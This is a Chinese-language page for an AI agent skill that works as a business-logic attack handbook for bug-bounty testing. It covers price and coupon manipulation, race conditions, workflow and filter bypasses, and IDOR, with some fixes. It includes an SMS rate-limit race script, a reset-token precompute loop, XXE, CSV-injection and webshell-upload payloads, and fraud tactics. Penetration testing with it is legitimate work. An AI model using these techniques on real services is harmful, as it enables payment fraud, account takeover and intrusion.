关于 business-logic-vulnerabilities
business-logic-vulnerabilities 是用于发现自动化扫描器可能遗漏的应用逻辑缺陷的安全测试技能。其指南涵盖价格操纵、竞态、工作流绕过、优惠券及账户权限,并提供方法、清单和场景文件。
主要功能
- 01价格与价值操纵检查
- 02竞态条件测试
- 03工作流与步骤跳过绕过
- 04优惠券与推荐滥用检查
- 05账户及权限逻辑检查
- 06配套方法与检查清单
适用场景
- 01测试结账价格校验
- 02检查并发兑换优惠券
- 03审查多步骤支付流程
- 04审计账户恢复与权限
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill business-logic-vulnerabilities安装后在 Claude Code 中输入/business-logic-vulnerabilities确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
CHECKLIST.mdMETHODOLOGY.mdSCENARIOS.md详细介绍
技能:业务逻辑漏洞——专家攻击手册
AI 加载说明:业务逻辑缺陷无法被扫描器发现,在漏洞赏金中却能带来丰厚回报。本技能涵盖竞态条件、价格操纵、工作流绕过、优惠券/推荐奖励滥用、负值和状态机攻击。这些问题需要人工推理,无法自动化处理。有关具体利用技术(支付精度/溢出、验证码绕过、密码重置缺陷、用户枚举),请加载配套文件 SCENARIOS.md。有关工作流方法本身(建模 → 状态机 → 攻击面矩阵 → 人工判断),请加载 METHODOLOGY.md。有关各模块的检查项,请加载 CHECKLIST.md。
配套文件
| 文件 | 加载时机 |
|---|---|
| METHODOLOGY.md | 需要了解 5 阶段工作流、攻击面 5×N 矩阵和人工判断决策树时 |
| CHECKLIST.md | 按模块逐一检查目标(登录/注册/支付/IDOR/隐私),并需要了解每个检查项的原因和验证方法时 |
| SCENARIOS.md | 需要深入研究支付精度/溢出、验证码绕过、密码重置、枚举和前端绕过时 |
扩展场景
在以下情况下,也请加载 SCENARIOS.md:
- 支付精度和整数溢出攻击——32 位溢出变为负值、小数舍入利用、负运费
- 支付参数篡改检查清单——price、discount、currency、gateway、return_url 字段
- 竞态条件实战模式——并行使用优惠券、通过 Burp group send 重复消费礼品卡
- 验证码绕过技术——丢弃验证请求、移除参数、清除 Cookie 重置计数器、使用 tesseract 进行 OCR
- 任意密码重置——可预测的令牌(
md5(username))、会话替换攻击、覆盖注册信息 - 用户信息枚举——登录错误消息差异、跨端点重建掩码数据、操纵 base64 uid Cookie
- 前端限制绕过——使用数组参数应用多张优惠券(
couponid[0]/couponid[1])、移除disabled/readonly属性 - 应用层 DoS 模式——正则表达式回溯、滥用 WebSocket
1. 价格与价值操纵
负数量/价格
许多应用会验证“金额 > 0”,却不会验证货币相关字段:
Add to cart with quantity: -1
Update quantity to: -100
{
"quantity": -5,
"price": -99.99 ← may be accepted
}
影响:向账户充值、免费获得商品、反向进行银行转账。
小数数量——“0 元购”案例
真实的讲师指导案例:某电商应用接受小数形式的 quantity,因为后端信任客户端传入的浮点数值:
// Cart item:
{"id": 114016, "skuQty": 0.02}
// Original price ¥500 → final price ¥10
// Variant on a food delivery app:
// FoodNum=0.01 → 68元 商品 实付 0.68元
其原理是:服务器将 unit_price * quantity 相乘,却没有强制要求 quantity ∈ Z+,因此下单数量为 2% 时只需支付 2% 的价格,却能收到完整商品。复现方法:拦截购物车提交请求 → 将 skuQty/FoodNum 设为 0.02 → 完成结账。
删除必填字段——强制转为免费档
体育活动报名案例:有付费奖品时,服务器会返回 "payType": "paid";如果客户端请求经编辑后完全省略 prizeIdList,服务器就会回退为 "payType": "free",并成功创建本应收费的报名。
// Original
{"prizeIdList": ["6264e6948fe587000113e2d9"], ...}
// Modified — array removed entirely
{"prizeIdList": [], ...}
// Server response:
{"ok": true, "payType": "free"}
这是一个对参数是否存在盲目信任的漏洞——后端将“字段缺失”视为“无需强制验证付费项目”,因此修复方法是要求必须提供该字段,并在服务器端验证其内容。
整数溢出
quantity: 2147483648 ← INT_MAX + 1 overflows to negative in 32-bit
price: 9999999999999 ← exceeds float precision → rounds to 0
真实案例:将 amount=999999999 设为该值会触发溢出路径,导致系统将最终应付金额存储为 0。执行溢出测试前务必协调确认——这类测试有时会导致支付服务崩溃。
舍入操纵
Item price: $0.001
Order 1000 items → each rounds down → total = $0.00
真实的“半价充值”漏洞:充值时输入 ¥0.019。支付网关按分向下舍入,只收取 ¥0.01,但钱包按分向上舍入,记入 ¥0.02。每次操作净赚 ¥0.01,重复操作即可免费增加余额。
汇率延迟
1. Deposit using currency A at rate X
2. Rate changes
3. Withdraw using currency A at new rate → profit from rate difference
通过优惠叠加免费升级
测试组合使用折扣码、推荐奖励和欢迎奖励:
Apply promo: FREE50 → 50% off
Apply promo: REFER10 → additional 10%
Apply loyalty points → additional discount
Total: -$5 (free + credit)
2. 竞态条件
概念:第一个操作尚未完成检查与更新周期时,两个操作同时运行。
重复消费 / 重复兑换
# Send same request simultaneously (~millisecond apart):
# Use Burp Repeater "Send to Group" or Race Conditions tool:
POST /api/use-coupon ← send 20 parallel requests
POST /api/redeem-gift ← same coupon code, parallel
POST /api/withdraw-funds ← same balance, parallel
# If check and update are non-atomic:
# Thread 1: check(balance >= 100) → TRUE
# Thread 2: check(balance >= 100) → TRUE (before Thread 1 deducted)
# Thread 1: balance -= 100
# Thread 2: balance -= 100 → BOTH succeed → double-spend
使用 Burp Suite 测试竞态条件
1. Capture request
2. Send to Repeater → duplicate 20+ times
3. "Send group in parallel" (Burp 2023+)
4. Check: did any duplicate succeed?
Turbo Intruder — 绕过每个号码的短信速率限制
真实案例:普通请求返回 "该号码短时间内申请发送短信次数过多,拒绝发送" 时,通过 Turbo Intruder 以高并发发送相同的载荷,即可绕过简单的计数器:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=10,
pipeline=False)
for i in range(30):
engine.queue(target.req, target.baseInput, gate='race1')
engine.openGate('race1')
结果:每个手机号的速率限制出现竞态,大量请求得以通过,生成多个不同的验证码(真实的短信轰炸案例)。根本原因:计数器递增与读取操作并非原子操作。
多设备并发订阅 VIP
真实案例:某服务提供仅限首月的折扣。在任何一次付款完成前,先在多台设备(A、B、C)上打开付款界面,然后依次完成付款。服务端只在第一个请求时检查“是否为新用户”,因此所有后续请求都会沿用折扣,VIP 时长也会叠加。
Normal: 下单 → 支付 → 充值会员 → 第二次下单 → 服务端校验 "已是新人" → 拒绝
Bypass: 设备A: 进入支付页 (锁定优惠资格)
设备B: 进入支付页 (并发锁定)
设备A: 完成支付 → VIP +1月 (优惠价)
设备B: 完成支付 → VIP +1月 (仍按优惠价)
同样的技巧也适用于“补差价升级会员”——并发补差价会重复增加会员时长。
账号注册竞态
Register with same email simultaneously → two accounts created → data isolation broken
Password reset token race → reuse same token twice
Email verification race → verify multiple email addresses
通过竞态绕过限制
"Claim once" discounts, freebies, "first order" bonus:
→ Send 10 parallel POST /claim requests
→ Race window: all pass the "already claimed?" check before any write
3. 绕过工作流 / 跳过步骤
绕过支付流程
Normal flow:
1. Add to cart
2. Enter shipping info
3. Enter payment (card/wallet)
4. Click confirm → payment charged
5. Order confirmed
Attack: Skip to step 5 directly
POST /api/orders/confirm {"cart_id": "1234", "payment_status": "paid"}
→ Does server trust client-sent payment_status?
跳过多步验证
Password reset flow:
1. Enter email
2. Receive token
3. Enter token
4. Set new password (requires valid token from step 3)
Attack: Try going to step 4 without completing step 3:
POST /reset/password {"email": "[email protected]", "token": "invalid", "new_pass": "hacked"}
→ Does server check that token was properly validated?
Or: Try token from old/expired flow → still accepted?
绕过 2FA
Normal flow:
1. Enter username + password → success
2. Enter 2FA code → logged in
Attack: After step 1 success, go directly to /dashboard
→ Is session created before 2FA completes?
→ Does /dashboard require 2FA-complete check or just "authenticated" flag?
绕过过滤路径截断 — ..// 和 ;
来自一次 Java Web 课程审计的真实案例:手动实现的 Servlet Filter 通过检查 URI 字符串来验证登录状态。以下两种方法可以可靠地绕过:
Path-traversal truncation (../):
Protected: http://target/FilterDemo/index.jsp → 302 to /login
Bypass: http://target/FilterDemo/../../index.jsp → 200 (filter sees "../../", URL parser collapses)
Semicolon truncation (;):
Protected: http://target/admin/doLogin.action → 302 to /login
Bypass: http://target/;/admin/doLogin.action → 200
^
Servlet container treats segment after ; as "path parameter",
filter that uses request.getRequestURI() sees "/;/admin/doLogin.action",
doesn't match its protected-prefix "/admin/", lets the request through,
but the dispatcher then routes to the real /admin/doLogin.action handler.
修复方法:切勿将 request.getRequestURI() 用于安全检查;应使用 request.getServletPath(),它会返回规范化的 Servlet 映射路径:
// Vulnerable
String uri = request.getRequestURI(); // /;/admin/doLogin.action
// Safe
String path = request.getServletPath(); // /admin/doLogin.action
审计 Java 代码时,搜索 request.getRequestURI() 与 Filter/startsWith/indexOf("/admin") 搭配使用的模式——这些都是明显的危险信号。
实名验证重放以重置状态
一种欺诈手法:故意使实名验证失败,从而重新打开编辑流程:
1. Submit real-name auth with intentionally wrong cardNumber
→ server returns "code:200, msg:success, ok:true" but flow shows "驳回 / 等待审核"
2. Because the server marks state as "rejected" but doesn't lock the user, the UI lets the
account go back into the "edit identity" state
3. Now resubmit with another (possibly stolen) identity
→ real-name binding repeats indefinitely, defeating anti-addiction lock and enabling account resale
防御措施:实名信息提交被拒后,必须锁定账号或要求人工审核,而不是返回编辑页面。
未付款发货
1. Add item to cart
2. Enter shipping address
3. Select payment method (credit card)
4. Apply promo code (100% discount or gift card)
5. Final amount: $0
6. Order placed
Attack: Apply 100% discount code → no actual payment processed → item ships
4. 优惠券和推荐奖励滥用
优惠券叠加
Test: Can you apply multiple coupon codes?
Test: Does "SAVE20" + promo stack to >100%?
Test: Apply coupon, remove item, keep discount applied, add different item
推荐循环
1. Create Account_A
2. Register Account_B with Account_A's referral code → both get credit
3. Create Account_C with Account_B's referral code
4. Ad infinitum with throwaway emails
→ Infinite credit generation
固定金额优惠券用于价格可变的商品
Coupon: -$5 off any order
Buy item worth $3, use -$5 coupon → net -$2 (credit balance)
5. 账号 / 权限逻辑缺陷
绕过邮箱验证
1. Register with email A (legitimate, verified)
2. Change email to B (attacker's email, unverified)
3. Use account as verified — does server enforce re-verification?
Or: Change email to victim's email → no verification → account claim
密码重置令牌绑定
1. Request password reset for your account → get token
2. Change your email address (account settings)
3. Reuse old password reset token → does it still work for old email?
Or: Request reset for [email protected]
Token sent to victim but check: does URL reveal predictable token pattern?
滥用 OAuth 账号关联
1. Have victim's email (but not their password)
2. Register with victim's email → get account with same email
3. Link OAuth (Google/GitHub) to your account
4. Victim logs in with Google → server finds email match → merges with YOUR account
替换 Cookie — 水平 / 垂直权限提升
审计视频中的经典 IDOR 演示:
1. Login as super-admin → capture request, copy Cookie (JSESSIONID/Token)
2. Logout, login as plain user → capture another request to the SAME endpoint
3. Replay the plain-user request, but swap the Cookie value with the admin's token
4. If the response returns admin-only data → vertical escalation
If it returns another-user's data → horizontal escalation
常见的伴随漏洞:/oa/emp/list 在没有 Cookie 时返回 HTTP 302 到 /login,但发送任意普通用户 Cookie 时会返回包含完整数据的 200——这意味着唯一的检查是“是否已登录?”,而不是“是否有权访问此端点”。
数据库不一致导致的权限残留
第二次审计课中的一个隐蔽案例:管理界面显示已撤销角色 X 的 user:list 权限,但查询 SQL 数据后发现:
SELECT * FROM sys_menu WHERE role_id = 2;
-- two rows for the same menu_id "user:list"
界面的“移除权限”操作只删除了一行;重复行仍使 API 可访问。通过以下方式验证:
SELECT menu_id, COUNT(*) FROM sys_menu GROUP BY menu_id, role_id HAVING COUNT(*) > 1;
经验:当界面显示权限已撤销,但 API 仍可用时,应检查底层 RBAC 表中是否存在重复记录 / 孤立授权。
弱随机密码重置令牌
Windows 上的 PHP / 旧版技术栈使用 rand(),其 RAND_MAX = 32768。如果重置链接使用
/resetpassword.php?id=md5(rand()),则整个密钥空间都可以预先计算:
$a = 0;
for ($a = 0; $a <= 32768; $a++) {
$b = md5($a);
echo $b . "\r\n";
}
将生成的字典逐一与 /resetpassword.php?id=<hash> 比对——当某个链接返回有效的重置页面时,就可以更改受害者的密码。审计任何最终调用 rand()、mt_rand()(未设种子时)、Random()(C# 中使用默认种子)等函数的令牌生成逻辑。
6. API 业务逻辑缺陷
操纵对象状态
order.status = "pending"
→ PUT /api/orders/1234 {"status": "refunded"} ← self-trigger refund
→ PUT /api/orders/1234 {"status": "shipped"} ← mark as shipped without shipping
事务重用
1. Initiate payment → get transaction_id
2. Complete purchase
3. Reuse same transaction_id for second purchase:
POST /api/checkout {"transaction_id": "USED_TX", "cart": "new_cart"}
操纵限制数量
Daily transfer limit = $1000
→ Transfer $999, cancel, transfer $999 (limit not updated on cancel)
→ Parallel transfers (race condition on limit check)
→ Different payment types not sharing limit counter
Java Web“无过滤器、无 Spring Security”反模式
便于审计的判断依据:Spring Boot 项目未引入 spring-boot-starter-security,且没有任何 Filter 类。这意味着除非开发者在每个方法中手动检查会话,否则所有控制器都对 guest 完全开放。复现:
# Inside the source tree
find . -name "*.java" -exec grep -l "Filter" {} \; # likely empty
find . -name "*.java" -exec grep -l "@PreAuthorize\|@Secured" {} \;
如果两者都为空,几乎所有 API 都可以被未授权访问。审计演示中:
public Result score(@RequestParam("userId") Integer userId) {
Score score = scoreService.selectScoreByUserId(userId);
return Result.success(score);
}
未检查 userId 是否与会话中登录用户匹配 → 水平越权 IDOR。更糟的是,由于没有任何全局强制身份验证机制,同一端点无需任何 Cookie 也能正常工作。
Spring Security antMatchers 覆盖缺口
审计视频还展示了类似以下的 Spring Security 配置,其保护并不完整:
.antMatchers("/system/user/info").authenticated()
.antMatchers("/system/menu/**").hasRole("admin")
常见错误是规则范围过窄,例如 /system/user/info 受保护,但 /system/user/list 未受保护;或者 /system/menu/** 仅限管理员访问,但 /system/dept/treeData 却开放。请交叉核对控制器注解(@PreAuthorize("@ss.hasPermi('system:user:list')"))与 SecurityConfig——每个带注解的端点也必须映射到一条 SecurityConfig 规则。重构后经常会出现不匹配。
7. 订阅 / 等级混淆
Free tier: cannot access feature X
Paid tier: can access feature X
Attack:
- Sign up for paid trial → enable feature X → downgrade to free
→ Does feature X get disabled on downgrade?
→ Can you continue using feature X?
Or:
- Inspect premium endpoint list from JS bundle
- Directly call premium endpoints with free account token
→ Server checks subscription for UI but not API?
媒体直链泄露 — 绕过 VIP 资源限制
健身 / 学习应用中的真实案例:客户端请求课程详情时,JSON 响应中包含原始媒体 URL:
GET /gerudo/v2/liveCourse/625020ce8f002700010554c1/detail HTTP/1.1
{
"previewPullUrl": "http://app-live.../live/app-live_625020ce8f002700010554c2_Preview.flv"
...
}
在所有详情 / 预览 / 播放响应中搜索以下关键词:
.flv .m3u8 .mp4 .mp3 videoUrl downloadUrl streamUrl previewPullUrl
对于每个匹配项,匿名重放该 URL(curl、VLC、flv.js 演示页面:https://bilibili.github.io/flv.js/demo/)。如果无需会话即可播放,说明 VIP 访问限制已失效。防御措施:使用与用户 / IP / Referer 绑定且 TTL 短的签名 URL,而不是原始资源路径。
替换资源 ID — 从免费课程访问付费课程
相关漏洞:免费课程详情返回 {"id": "60caa21e853f5c1651b27c1b", ...}。将 URL 中的 ID 替换为已知的付费课程 ID。如果响应结构保持不变且包含可播放 URL → 高级内容存在 IDOR。防御措施:每次请求详情时都验证所有权关系,而不只是检查“是否已登录”。
8. 文件上传业务逻辑
若要了解纯逻辑漏洞以外的完整上传攻击工作流,还需加载:
Upload size limit: 10MB
→ Upload 10MB → compress client-side → server decompresses → bomb?
(Zip bomb: 1KB zip → 1GB file = denial of service)
Upload type restriction:
→ Upload .csv for "data import" → inject formulas: =SYSTEM("calc")
(CSV injection in Excel macro context)
→ Upload avatar → server converts → attack converter (ImageMagick, FFmpeg CVEs)
Storage path prediction:
→ /uploads/USER_ID/filename
→ Can you overwrite other user's file by knowing their ID + filename?
9. 测试方法
For each business process:
1. Map the INTENDED flow (happy path)
2. Ask: "What if I skip step N?"
3. Ask: "What if I send negative/zero/MAX values?"
4. Ask: "What if I repeat this step twice?" (idempotency)
5. Ask: "What happens if I do A then B instead of B then A?"
6. Ask: "What if two users do this simultaneously?"
7. Ask: "Can I modify the 'trusted' status fields?"
8. Think from financial/resource impact angle → highest bounty
有关正式的 5 阶段工作流——业务建模 → 状态机 → 攻击面矩阵 → 基于检查清单的测试 → 人工判断——请加载 METHODOLOGY.md。其中包含一个单页决策树(Q1 ~ Q7),适用于“盯着一个请求,却不知道该先尝试什么”的情况。
10. 高影响检查清单
要查看完整的模块清单(登录 / 注册 / 密码找回 / 支付 / 优惠券 / 订单 / IDOR / 隐私 / VIP / URL 重定向 / Cookie 与令牌 / 竞态 / 评论),其中包含 why 和 verify 列,请加载 CHECKLIST.md。
下面精简列出的高影响事项,是“如果只有 30 分钟,优先检查这些”的内容:
电商 / 支付
□ Negative quantity / decimal quantity (skuQty=0.02, FoodNum=0.01) in cart
□ Drop required fields (delete prizeIdList) to coerce free tier
□ amount=999999999 integer overflow → final 0
□ Apply multiple conflicting coupons via array params
□ Race condition: double-spend gift card / same coupon
□ Skip payment step directly to order confirmation
□ Server-trusted client status fields (payment_status=paid, success:true)
□ Refund without return (trigger refund on delivered item via state change)
□ Multi-device concurrent VIP subscription / 补差价升级
□ Currency rounding exploitation (¥0.019 charge → ¥0.02 wallet credit)
身份验证 / 账户
□ 2FA bypass by direct URL access after password step
□ Filter bypass: ../../path traversal truncation, ;path-parameter truncation
□ Password reset token reuse after email change
□ Weak random reset token: md5(rand()) on Windows PHP, predictable seed
□ Email verification bypass (change email after verification)
□ OAuth account takeover via email match
□ Register with existing unverified email
□ Cookie replacement (admin → user / user → another user)
□ Real-name verification "故意填错" replay-to-reset
订阅 / 限制 / 资源
□ Access premium features after downgrade
□ Exceed rate/usage limits via parallel requests (Turbo Intruder)
□ Referral loop for infinite credits
□ Free trial ≠ time-limited (no enforcement after trial)
□ Direct API call to premium endpoint without subscription check
□ Free-course ID swap to paid-course ID (IDOR on resource)
□ Direct media URL exposure in JSON (.flv / .m3u8 / .mp4 in response)
□ Server-side RBAC residue (sys_menu duplicate rows)
□ Java Web no-Filter / Spring Security antMatchers gap
11. 综合检查清单(2 小时全面检查)
第 10 节的清单是“30 分钟快速捞钱”版。这个清单则更进一步: 当你有几个小时,希望对全部九个业务面进行防御级全面检查时使用。它按业务面组织,每个业务面内再按攻击机制分类,因此你可以纵向浏览列,查看“这个端点可能存在哪些类型的漏洞”,也可以横向浏览行,查看“这种攻击还适用于哪些其他位置”。
如需查看完整的 item / why / verify 三元组,包括每项的复现步骤和工具,请加载 CHECKLIST.md。本节仅保留事项行,便于快速浏览。
11.1 登录 / 身份验证
□ Username enumeration via response diff (msg / status code / timing)
□ Username enumeration via SMS-send response (sent vs not-registered)
□ Brute force without lockout (no rate limit on failed login)
□ Default / weak credentials (admin/admin, root/123456) on backend & infra
□ 2FA bypass via direct URL after password step / replay 2FA token
□ Client-trusted login flag (status=success, is_login=true in response body)
□ Third-party / SSO callback IDOR (modify uid in callback to take over)
□ Biometric liveness bypass (replay static photo / pre-recorded video)
□ Open redirect in login/register (return_url, redirect, callback param)
□ Hardware-key signature replay / forgery (USB-Key, PKI cert)
11.2 注册
□ Username / phone / email enumeration via "already exists" response
□ Password strength only enforced client-side (set 123456 server-side)
□ Skip multi-step registration (POST final step directly, miss email verify)
□ Verification code not enforced (empty / random / fixed value passes)
□ SMS / email code replay (same code used twice or across users)
□ Re-register same username after logout, inherit old data / privileges
□ Anti-fraud bypass via N similar virtual accounts (same device, diff email)
□ Mass-register replay-protection missing (no nonce on submit step)
11.3 密码找回 / 重置
□ Reset target tampering (uid / email / phone in submit step)
□ Reset token predictable (timestamp-derived, weak hash, short random)
□ Cross-user token reuse (A's reset_token, change B's password)
□ Old-password check missing on logged-in change-password endpoint
□ Skip code-verify step, hit final reset endpoint directly
□ Reset link / answer / token leaked in HTML or JS source
□ Reset token has no expiry / not invalidated after use
□ Reset code base64-only "obfuscated" in response
□ Inconsistent identity across multi-step flow (reset_token from step 2
reusable in step 4)
□ Old session not revoked after email/phone re-bind
11.4 会话 / Token
□ Session fixation: pre-login session id remains valid after login
□ Token not bound to user/IP/device (steal cookie → use anywhere)
□ Forged token: weak algorithm md5(username + timestamp), no server salt
□ Stale token still accepted after logout / expiry (no blacklist)
□ Cookie tampering (uid / role / is_admin in cookie trusted server-side)
□ State-machine replay (replay "claim red packet" → re-claim)
□ Anti-replay missing on one-time tokens (CSRF token, OTP, nonce)
□ Sensitive credentials (token, answer, key) hardcoded in front-end JS
□ Privileged session created from public Session ID without re-auth
□ Token works cross-environment (different IP, different UA, no validation)
11.5 付款 / 订单
□ Amount tampering: amount = 0.01 / 0 / negative / 0.001
□ Quantity tampering: quantity = -1 / 0.01 / 1.5 / 999999999
□ Integer overflow: quantity * price wraps to 0 or negative
□ Floating-point precision exploit (multi-decimal, accumulated rounding)
□ Currency code swap (CNY → JPY/RUB at same numeric value)
□ Coupon / discount field forge (coupon_id, discount=, free_shipping=true)
□ Item ID swap: replace product_id with cheaper SKU at checkout
□ Signature / sign-field bypass (drop sign param, use stale sign)
□ Payment-callback forgery (status=paid posted to internal callback)
□ Replay paid request → multiple shipments / multiple credit
□ Race / concurrency: oversell, double-spend gift card, double redeem coupon
□ Refund without losing the merchandise / virtual rights
□ VIP duration tampering (days=999, months=120, period=-1)
□ Receiver-account redirect (merchant_id / receiver_account swap on withdraw)
□ Negative shipping / fee fields decreasing total (shipping_fee = -500)
□ Concurrent topup-then-refund draining (refund > topup in race window)
□ Pricing rule transition window (price changes at T, replay at T-ε with old rule)
□ Currency rounding micro-arbitrage (charge 0.019 → wallet credit 0.02)
□ Multi-channel inconsistency (online vs cash-on-delivery vs balance pay)
11.6 IDOR / 授权
□ Horizontal IDOR: uid / order_id / resource_id swap to victim's
□ Vertical IDOR: role / type / level field set to admin in request
□ Hidden field tampering (data-user-id in HTML / JS state)
□ Email / phone re-bind without verifying old binding
□ UID vs session-token consistency missing (token belongs to A, uid sent as B)
□ Predictable / sequential resource IDs (gift IDs, share-link IDs)
□ Resource enumeration on order / coupon / share / trip-detail endpoint
□ Multi-entry inconsistency: web blocks, mobile API doesn't
□ State-machine illegal transition (claim reward without paying / shipping
before order paid)
□ Hidden / undocumented admin endpoint accessible without admin auth
□ Cross-role function call (user calls merchant API, rider API, etc.)
□ Privilege via concurrent action (request role-elevation race condition)
11.7 CAPTCHA / 验证码
□ Code returned in plaintext in HTTP response (body / header / JS var)
□ Receiver tampering: change phone / email param to attacker-controlled
□ Empty / fixed code accepted (000000, blank, "test")
□ Drop the code field entirely → request still succeeds
□ Cross-account reuse (A's valid code accepted on B's flow)
□ One-time enforcement missing (same code reusable until expiry)
□ Brute force 4-6 digit code (no attempt limit, no lockout)
□ SMS / email bombing (no rate limit per IP / per phone / no graphical CAPTCHA)
□ Front-end-only "send-success" status (server says fail, FE says success)
□ Code not bound to session (code generated for A, used in B's session)
11.8 文件上传
□ Content-Type bypass (Content-Type: image/jpeg, body is PHP)
□ Extension trick: double ext (.php.jpg), case mix (.Php), null byte, ;path
□ Filename path traversal (filename=../../webshell.php)
□ File-content polyglot (image with embedded PHP / shell)
□ Office XML repack (unzip docx → inject XML → rezip → upload)
□ XXE via .xml / .dtd upload endpoint
□ Backend-only upload (admin login → upload → exec)
□ Upload race: upload + parallel access before AV scan / cleanup
□ ZIP bomb (1KB → 1GB on server, decompress DoS)
□ CSV formula injection (=SYSTEM("calc"), =cmd|'/c calc'!A1)
□ Storage path predictable / overwritable across users (/uploads/UID/file)
□ Image converter / parser CVE (ImageMagick, FFmpeg, pillow)
11.9 CSRF / SSRF / XXE
□ XXE file read (<!ENTITY x SYSTEM "file:///etc/passwd">)
□ XXE blind via OOB (parameter entity → DNSLog / Burp Collaborator)
□ SSRF via image-import / webhook / preview URL (file://, http://127.0.0.1)
□ SSRF via FTP / gopher / jar / php-wrapper / dict protocols
□ XML parser dangerous wrappers enabled (php://expect, expect://)
□ Out-of-band detection for blind injection (DNSLog confirms server hit)
□ CSRF on state-changing endpoint (no token, no SameSite, no origin check)
□ Payment / withdrawal CSRF via auto-submitting hidden form
□ Login CSRF (force victim to log into attacker account)
□ JSONP / JSONP-callback exploitation as CSRF read primitive
如何使用本节
- 打印或截取与目标攻击面相关的 1-2 个子章节。
- 对每个
□标记为:不适用 / 无漏洞 / 有漏洞 / 需要重新检查。 - 标明能够证实漏洞(或证实漏洞不存在)的确切端点、参数和载荷, 以便复现报告。
- 如果某项触发了意外情况,请参照
METHODOLOGY.md中的 Q1~Q7 决策树—— 该决策树会告诉你哪些相邻项目也可能存在漏洞。 - 如需各项的深度载荷 / 可直接用于 curl 的命令 / Burp 截图,
请加载
CHECKLIST.md(完整三元组)和SCENARIOS.md(真实案例)。